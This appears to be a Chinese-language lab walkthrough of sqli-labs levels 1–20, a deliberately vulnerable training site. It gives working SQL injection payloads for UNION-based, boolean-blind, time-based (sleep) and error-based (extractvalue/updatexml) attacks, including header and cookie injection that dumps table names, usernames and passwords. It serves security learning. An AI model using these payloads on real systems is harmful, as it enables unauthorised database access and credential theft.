第一关(单引号字符型注入)

判断是否存在sql注入

1
?id=1

显示正常

1
?id=1'

报错

说明存在sql注入

判断字符型还是数字型

1
?id=1'--+

显示正常,说明是字符型

如果是数字型,则要报错;字符型的话,对应的sql语句是select * from user where id=’1’–+’

–+将后面的’注释掉了

image-20240227161859259

由于它有回显,所以可使用联合查询

判断有多少字段

select * from user where id = ‘1’ order by 3 –+’

如果是3正常,如果是4则不正常,说明有3个字段;字段就是列数

1
?id=1' order by 3 --+

爆出显示位

页面显示的信息是数据库中哪一列显示的

1
?id=-1' union select 1,2,3--+

image-20240227162301630

以上说明是,第2、3列显示

获取当前数据名和版本号

1
?id=-1' union select 1,database(),version()--+

获取账号、密码

group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。也就是下面表格user和passwd

image-20240227162756621

1
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

显示以下信息

image-20240227162822161

大概率在users表中

查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内。注意table_name字段不是只存在于tables表,也是存在columns表中。表示哪些字段对应该表

1
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

image-20240227163041656

1
?id=-1' union select 1,2,group_concat(username ,id , password) from users --+

第二关(数字型注入)

判断注入类型

1
2
3
4
5
?id=1
?id=1' 报错
?id=1'--+ 显示报错
?id=1" 报错,初步判断数字型
?id=1 and 1==2 根据页面报错,确认数字型

判断有多少字段

1
?id=1 order by 3

爆出显示位

1
?id=-1 union select 1,2,3

查询数据库版本和数据库名

1
?id=-1 union select 1,database(),version()

查看information.tables中有哪一个表名的table_schema=’security’

1
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

查看information_schema.columns中有什么column的表名为user

1
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

查看用户名和密码

1
?id=-1 union select 1,2,group_concat(username , id, password) from users

第三关(单引号单括号字符型)

判断是否存在sql注入

1
2
?id=1
?id=1'

显示

image-20240227195938656

去掉前后两个单引号,剩下’1’’),去掉我们的1’,所以原来是(’1’).所以是单引号字符型

我们只需要?id=1’)–+

判断有多少字段

1
?id=1') order by 4 --+

爆出显示位

1
?id=-1') union select 1,2,3 --+

获取当前数据名和版本号和表明等

1
2
3
?id=-1') union select 1,database(),version() --+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' --+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

获取用户名和密码

1
?id=-1') union select 1,2,group_concat(username, ' ', password) from users --+

第四关(双引号单括号字符型)

判断字符型和数字型

1
2
3
?id=1
?id=1'
?id=1 and 1==2,说明是字符型

全部正常

1
?id=1"

image-20240227204226048

所以是双引号单括号字符型

判断有多少个字段

1
?id=1") order by 3--+

爆信息位

1
?id=-1") union select 1,2,3 --+

查询数据库信息

1
2
3
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

查询用户名、密码

1
?id=-1") union select 1,2,group_concat(username,'  ',password) from users --+

第五关(单引号字符布尔盲注)

判断注入类型

1
2
3
?id=1 正确
?id=1' 错误
?id=1'--+ 正确,所以为单引号字符类型

判断数据库的长度,length()是获取当前数据库名的长度

1
?id=1'and length((select database()))>9--+

#substr(“78909”,1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii码,这样我们可以很好确定数字根据数字找到对应的字符。

1
?id=1' and ascii(substr((select database()),1,1))=115--+

判断所有表的名字长度

1
?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+

逐一判断表名

1
?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=99--+

判断字段的长度

1
?id=1' and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))=20--+

逐一判断字段

1
?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+

判断字段内容长度

1
?id=1' and length((select group_concat(username,password) from users))>109--+

逐一检测内容

1
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))=50--+

总结:

数据库名字长度、内容——》表名长度、内容——》字段长度、内容——》字段内容长度和具体内容

第六关(双引号字符布尔盲注)

和第五关类似,只是是双引号字符型,只能显示对错,布尔盲注

判断数据库的长度,length()是获取当前数据库名的长度

1
?id=1" and length((select database()))>9--+

#substr(“78909”,1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii码,这样我们可以很好确定数字根据数字找到对应的字符。

1
?id=1" and ascii(substr((select database()),1,1))=115--+

判断所有表的名字长度

1
?id=1" and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+

逐一判断表名

1
?id=1" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=99--+

判断字段的长度

1
?id=1" and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))=20--+

逐一判断字段

1
?id=1" and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+

判断字段内容长度

1
?id=1" and length((select group_concat(username,password) from users))>109--+

逐一检测内容

1
?id=1" and ascii(substr((select group_concat(username,password) from users),1,1))=50--+

第七关(单引号双括号布尔盲注)

判断注入类型

1
2
3
4
5
?id=1 正确
?id=1' 报错
?id=1" 正确。可判断是一个单引号字符型
?id=1')--+ 错误,那么试试两个括号
?id=1'))--+

剩下的和上面两关相同

第八关(单引号字符型)

判断注入类型

1
2
3
?id=1 正确
?id=1' 错误
?id=1'--+ 正确,所以为单引号字符类型

和第五关相同,只是页面显示不同

第九关(全对-时间盲注-单引号字符型)

不管使用什么都是对的

判断参数构造

1
?id=1' and if(1=1,sleep(5),1)--+

判断数据库名长度

1
?id=1' and if(length((select database()))>9,sleep(5),1)--+

逐一判断数据库名

1
?id=1' and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+

判断所有表名长度

1
?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>133,sleep(5),1)--+

逐一判断表名

1
?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)),sleep(5),1)--+

判断所有字段长度

1
?id=1' and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+

逐一判断字段

1
?id=1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+

判断字段内容长度

1
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+

逐一判断字段内容

1
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+

第十关(全对-时间盲注,双引号字符型)

判断参数构造

1
?id=1" and if(1=1,sleep(3),1)--+

发现页面延迟,所以可知参数构造

剩下的和第九关相同

第十一关(post-两个单页面字符型)

1
2
3
1 没显示
1' 显示如下错误,可推断是一个单页面字符型
1' or 1=1# 这里构造一个恒成立的sql语句

image-20240228093635893

查询有多少个字段

1
1' or 1=1 order by 2#

查询显示位

1
1' union select 1,2# 找一个前半截不成立的,这里的1就没有

查询数据库版本和名称

1
1' union select database(),version()#

查询表名为security的表

1
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#

查询属于users表的字段

1
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

查询用户名和密码

1
1' union select 1,group_concat(username,' ',password) from users#

第十二关(post-两个双引号单括号字符型)

1
2
3
4
1 正确,没显示 
1' 正确
1" 错误,可知注入类型
1") or 1=1# 正确显示

image-20240228094754029

剩下的和第12关相同

1
2
3
4
5
6
1") or 1=1 order by 2#
1") union select 1,2#
1") union select database(),version()#
1") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#
1") union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
1") union select 1,group_concat(username,' ',password) from users#

第13关(post-两个单引号单括号)

没有任何的返回信息,只有报错信息

1
2
3
1 正确无显示
1' 错误
1') or 1=1#

image-20240228095652127

布尔盲注

1
2
3
4
5
1') or length((select database()))=8# 注意需要用or,因为1')#是错误的
1') or ascii(substr((select database()),1,1))<156# 数据库
1') or length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>10#
1') or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>112# 表名
字段、内容、用户名、密码等

报错注入

extractvalue()
作用:对XML文档进行查询,相当于在HTML文件中用标签查找元素。
语法: extractvalue( XML_document, XPath_string )
参数1:XML_document是String格式,为XML文档对象的名称
参数2:XPath_string(Xpath格式的字符串),注入时可操作的地方
报错原理:xml文档中查找字符位置是用/xxx/xxx/xxx/…这种格式,如果写入其他格式就会报错,并且会返回写入的非法格式内容,错误信息如:XPATH syntax error:’xxxxxxxx‘
最大只能显示32个字符,所以要配合limit进行使用

updatexml()
作用:改变文档中符合条件的节点的值。
语法: updatexml( XML_document, XPath_string, new_value )
参数1:XML_document是String格式,为XML文档对象的名称
参数2:XPath_string(Xpath格式的字符串),注入时可操作的地方
参数3:new_value,String格式,替换查找到的符合条件的数据
报错原理:同extractvalue()

查询数据库名称

0x7e是~的意思,用concat拼接我们的sql语句,不符合xml文档的格式,就会报错,

1
2
1') and extractvalue(1,concat(0x7e,(select database())))#
或者1') and updatexml(1,concat(0x7e,(select database())),3)#
查询表名

最大只能显示32个字符,所以要配合limit进行使用,每次只能显示一个表名,

limt0,1

limt1,1

limit2,1

1
1')and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))#
查询列名
1
1') and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 5,1)))#
查询用户名和密码
1
1') and extractvalue(1,concat(0x7e,(select username from users limit 0,1)))#

第十四关(双引号字符型-盲注)

1
2
3
4
1 登录失败
1' 登录失败
1” 页面报错
1" or 1=1 # 登录成功

和第十三关相同

第十五关(单引号-布尔盲注)

1
2
3
1 
1' 都没有错误,无显示
1' or 1=1# 正确

后续就是布尔盲注的流程

1
1' or length((select database()))>8#

第十六关(双引号单括号字符型)

1
2
3
4
1
1'
1') or 1=1# 全部登录失败
1") or 1=1#登录成功
1
1") or length((select database()))=8#

没有报错信息,不能使用报错注入,使用布尔盲注

第十七关(密码重置-密码单引号字符型-报错注入)

1
2
3
4
5
username:1 报错
username:1' 报错
username:1" 报错
username:Dhakkan password:1 成功登录
username:Dhakkan password:1' 出现以下错误

image-20240228150256092

1
username:Dhakkan password:1' order by 1# 不能联合注入

image-20240228150353570

爆数据库名

1
username:Dhakkan password:1' and extractvalue(1,concat(0x7e,(select database())))#

爆表名

1
2
3
4
5
username:Dhakkan 
password:1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1)))#

或者
password:1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1)),3)#

爆字段名

1
2
3
4
5
username:Dhakkan 
password:1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')))#

或者
password:1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),3)#

爆内容

1
2
username:Dhakkan
password:1' and extractvalue(1,concat(0x5e,(select group_concat(username,' ',password) from users)))#

此处报错

1
2
3
4
username:Dhakkan
password:
必须要有这个b
1' and (extractvalue(1,concat(0x7e,(select password from (select password from users where username='admin1') b))))#

第十八关(账户密码都过滤,利用burp报错注入)

账号、密码都被过滤,下面的sql语句中的user-agent没有被过滤

image-20240301220429277

image-20240301220444861

考虑闭合values,构造payload

1
1',2,3)#

存在注入点

image-20240301220551008

构造

1
1',1,(extractvalue(1,concat(0x7e,database()))))#

爆出数据库名

image-20240301220949582

爆表

构造

1
1',1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))#

image-20240301221357557

爆字段

构造

1
1',1,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))))#

image-20240301221926644

爆用户名、密码

构造

1
1',1,extractvalue(1,concat(0x7e,(select group_concat(username,' ',password) from users))))#

image-20240301222216081

第十九关(reference注入)

源码

image-20240302105102232

构造闭合

1
1',extractvalue(1,concat(0x7e,(select group_concat(username,' ',password) from users)))#

第二十关(cookie)

使用burpsuit抓包

image-20240302105330540

没有发现有用的信息,放包看它的刷新页面

cookie中有admin信息,猜测uname字段是sql注入点

image-20240302105613726

转发到repeater,修改

1
cookie:uname=admin'

重发,显示:

image-20240302105812031

说明cookie存在单引号字符型注入漏洞

构造

1
cookie:uname=admin'#

显示正常

image-20240302105919137

获取数据库信息

网页显示了loginname,password,id三个字段,所以猜测有三个字段显示

爆出显示位

1
cookie:uname=' union select 1,2,3#

image-20240302110121585

接下来使用联合注入即可

爆出数据库名

1
cookie:uname=' union select 1,2,database()#

image-20240302110237609

爆表名

1
cookie:uname=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

image-20240302110423170

爆字段

1
cookie:uname=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'#

image-20240302111000090

爆内容

1
cookie:uname=' union select 1,2,group_concat(username,' ',password) from users#

image-20240302111118344